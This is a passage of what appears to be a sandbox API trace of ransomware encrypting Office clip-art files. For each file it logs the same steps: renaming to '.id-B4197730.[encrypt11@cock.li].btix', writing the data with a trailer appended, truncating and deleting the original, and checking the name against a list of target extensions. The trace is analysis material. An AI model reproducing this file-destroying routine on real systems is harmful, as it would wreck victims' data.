(hFile=0x568) returned 1 [0144.321] CloseHandle (hObject=0x568) returned 1 [0144.322] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.322] SetEndOfFile (hFile=0x370) returned 1 [0144.380] CloseHandle (hObject=0x370) returned 1 [0144.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0144.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0144.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0144.390] lstrlenW (lpString=".doc") returned 4 [0144.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.390] lstrlenW (lpString=".docx") returned 5 [0144.390] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0144.390] lstrlenW (lpString=".pdf") returned 4 [0144.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.391] lstrlenW (lpString=".xls") returned 4 [0144.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.391] lstrlenW (lpString=".xlsx") returned 5 [0144.391] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0144.391] lstrlenW (lpString=".ppt") returned 4 [0144.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0144.391] lstrlenW (lpString=".zip") returned 4 [0144.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.391] lstrlenW (lpString=".rar") returned 4 [0144.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.391] lstrlenW (lpString=".bz2") returned 4 [0144.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.391] lstrlenW (lpString=".7z") returned 3 [0144.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0144.391] lstrlenW (lpString=".dbf") returned 4 [0144.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0144.391] lstrlenW (lpString=".1cd") returned 4 [0144.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0144.391] lstrlenW (lpString=".jpg") returned 4 [0144.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.404] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=8240) returned 1 [0144.404] CloseHandle (hObject=0x550) returned 1 [0144.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220 [0144.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0144.406] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.406] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.406] GetLastError () returned 0x0 [0144.406] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x2030, lpOverlapped=0x0) returned 1 [0144.408] WriteFile (in: hFile=0x390, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2040, lpOverlapped=0x0) returned 1 [0144.408] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.408] WriteFile (in: hFile=0x390, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0144.409] SetEndOfFile (hFile=0x390) returned 1 [0144.409] CloseHandle (hObject=0x390) returned 1 [0144.409] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.409] SetEndOfFile (hFile=0x550) returned 1 [0144.411] CloseHandle (hObject=0x550) returned 1 [0144.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0144.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0144.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0144.412] lstrlenW (lpString=".doc") returned 4 [0144.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.412] lstrlenW (lpString=".docx") returned 5 [0144.412] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0144.412] lstrlenW (lpString=".pdf") returned 4 [0144.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.412] lstrlenW (lpString=".xls") returned 4 [0144.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.412] lstrlenW (lpString=".xlsx") returned 5 [0144.412] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0144.412] lstrlenW (lpString=".ppt") returned 4 [0144.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0144.412] lstrlenW (lpString=".zip") returned 4 [0144.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.412] lstrlenW (lpString=".rar") returned 4 [0144.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.412] lstrlenW (lpString=".bz2") returned 4 [0144.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.412] lstrlenW (lpString=".7z") returned 3 [0144.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0144.412] lstrlenW (lpString=".dbf") returned 4 [0144.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0144.412] lstrlenW (lpString=".1cd") returned 4 [0144.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0144.413] lstrlenW (lpString=".jpg") returned 4 [0144.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.413] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=4612) returned 1 [0144.413] CloseHandle (hObject=0x550) returned 1 [0144.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 0x220 [0144.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0144.414] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.414] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.414] GetLastError () returned 0x0 [0144.414] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x1204, lpOverlapped=0x0) returned 1 [0144.421] WriteFile (in: hFile=0x390, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1210, lpOverlapped=0x0) returned 1 [0144.422] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.422] WriteFile (in: hFile=0x390, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0144.422] SetEndOfFile (hFile=0x390) returned 1 [0144.422] CloseHandle (hObject=0x390) returned 1 [0144.422] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.422] SetEndOfFile (hFile=0x550) returned 1 [0144.424] CloseHandle (hObject=0x550) returned 1 [0144.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0144.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0144.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0144.426] lstrlenW (lpString=".doc") returned 4 [0144.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.426] lstrlenW (lpString=".docx") returned 5 [0144.426] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0144.426] lstrlenW (lpString=".pdf") returned 4 [0144.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.426] lstrlenW (lpString=".xls") returned 4 [0144.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.427] lstrlenW (lpString=".xlsx") returned 5 [0144.427] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0144.427] lstrlenW (lpString=".ppt") returned 4 [0144.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0144.427] lstrlenW (lpString=".zip") returned 4 [0144.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.427] lstrlenW (lpString=".rar") returned 4 [0144.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.427] lstrlenW (lpString=".bz2") returned 4 [0144.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.427] lstrlenW (lpString=".7z") returned 3 [0144.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0144.427] lstrlenW (lpString=".dbf") returned 4 [0144.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0144.427] lstrlenW (lpString=".1cd") returned 4 [0144.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0144.427] lstrlenW (lpString=".jpg") returned 4 [0144.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.428] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=10060) returned 1 [0144.428] CloseHandle (hObject=0x550) returned 1 [0144.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 0x220 [0144.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0144.428] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.428] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.429] GetLastError () returned 0x0 [0144.429] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x274c, lpOverlapped=0x0) returned 1 [0144.430] WriteFile (in: hFile=0x390, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2750, lpOverlapped=0x0) returned 1 [0144.431] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.431] WriteFile (in: hFile=0x390, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0144.431] SetEndOfFile (hFile=0x390) returned 1 [0144.432] CloseHandle (hObject=0x390) returned 1 [0144.432] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.432] SetEndOfFile (hFile=0x550) returned 1 [0144.434] CloseHandle (hObject=0x550) returned 1 [0144.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0144.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0144.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0144.435] lstrlenW (lpString=".doc") returned 4 [0144.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.435] lstrlenW (lpString=".docx") returned 5 [0144.435] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.435] lstrlenW (lpString=".pdf") returned 4 [0144.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.435] lstrlenW (lpString=".xls") returned 4 [0144.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.435] lstrlenW (lpString=".xlsx") returned 5 [0144.435] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.435] lstrlenW (lpString=".ppt") returned 4 [0144.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0144.435] lstrlenW (lpString=".zip") returned 4 [0144.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.435] lstrlenW (lpString=".rar") returned 4 [0144.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.435] lstrlenW (lpString=".bz2") returned 4 [0144.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.435] lstrlenW (lpString=".7z") returned 3 [0144.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0144.435] lstrlenW (lpString=".dbf") returned 4 [0144.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0144.435] lstrlenW (lpString=".1cd") returned 4 [0144.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0144.435] lstrlenW (lpString=".jpg") returned 4 [0144.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.436] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=5812) returned 1 [0144.436] CloseHandle (hObject=0x550) returned 1 [0144.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 0x220 [0144.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0144.436] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.436] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.439] GetLastError () returned 0x0 [0144.439] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x16b4, lpOverlapped=0x0) returned 1 [0144.542] WriteFile (in: hFile=0x390, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x16c0, lpOverlapped=0x0) returned 1 [0144.543] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.543] WriteFile (in: hFile=0x390, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0144.543] SetEndOfFile (hFile=0x390) returned 1 [0144.543] CloseHandle (hObject=0x390) returned 1 [0144.544] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.544] SetEndOfFile (hFile=0x550) returned 1 [0144.546] CloseHandle (hObject=0x550) returned 1 [0144.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0144.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0144.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0144.665] lstrlenW (lpString=".doc") returned 4 [0144.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.666] lstrlenW (lpString=".docx") returned 5 [0144.666] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0144.666] lstrlenW (lpString=".pdf") returned 4 [0144.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.666] lstrlenW (lpString=".xls") returned 4 [0144.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.666] lstrlenW (lpString=".xlsx") returned 5 [0144.666] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0144.666] lstrlenW (lpString=".ppt") returned 4 [0144.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0144.666] lstrlenW (lpString=".zip") returned 4 [0144.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.666] lstrlenW (lpString=".rar") returned 4 [0144.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.666] lstrlenW (lpString=".bz2") returned 4 [0144.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.666] lstrlenW (lpString=".7z") returned 3 [0144.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0144.666] lstrlenW (lpString=".dbf") returned 4 [0144.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0144.666] lstrlenW (lpString=".1cd") returned 4 [0144.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 